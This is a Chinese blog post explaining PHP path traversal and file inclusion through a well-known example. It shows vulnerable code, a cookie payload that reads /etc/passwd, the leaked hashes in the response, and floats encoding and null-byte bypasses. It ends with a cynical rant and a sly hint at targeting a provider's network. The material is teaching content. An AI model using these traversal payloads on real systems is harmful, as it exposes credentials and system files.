那么请允许我犯懒,摘取Wiki的几个例子:
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
$template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>
那么一般来说就可以在Cookie做手脚(当然这是数次测试之后才能推测的path):
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
然后服务器乖乖的给了回答:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
是否可以继续利用转译呢,%2e%2e%2f --> "../" ?
include($_GET['file'] . '.html');
... ...
?>
这种保护是否可以加个NULL+转译什么的跳过去?
如果httpd是Apache这类指定Document root的程序,那么match之后再加 ../ 可能发生什么?
是否可以直接执行命令?
我不知道耶!
OWASP有一个cheatsheet。可以看看。
近日看见友人谈到什么执照的民间反映时重提时这个东西,说好像SP有什么自己的IT Security Auditing,还号召各位自律、不要对什么过分行为作出过分的反映,以暴制暴世所不容……这个时候,我恰巧买了个电视盒子,而且网关是我自建的……你明白什么了?我可什么没说耶!
某些人会说,不需要保证业务稳定运行、不担心机密外泄、不怕出丑而损失企业无形资产、只顾忌所谓上级资源(能骗钱就行了)、不需要保护用户资料、不怕微博转发500次、有水军帮忙给好评、有关系给删帖……
……IT安全真不是啥事,不就是某些人用来向上级骗钱的么?钱到手怎么做真是无所谓的。
相比之下,安全不是问题,人是更严重的问题啊!
因篇幅问题不能全部显示,请点此查看更多更全内容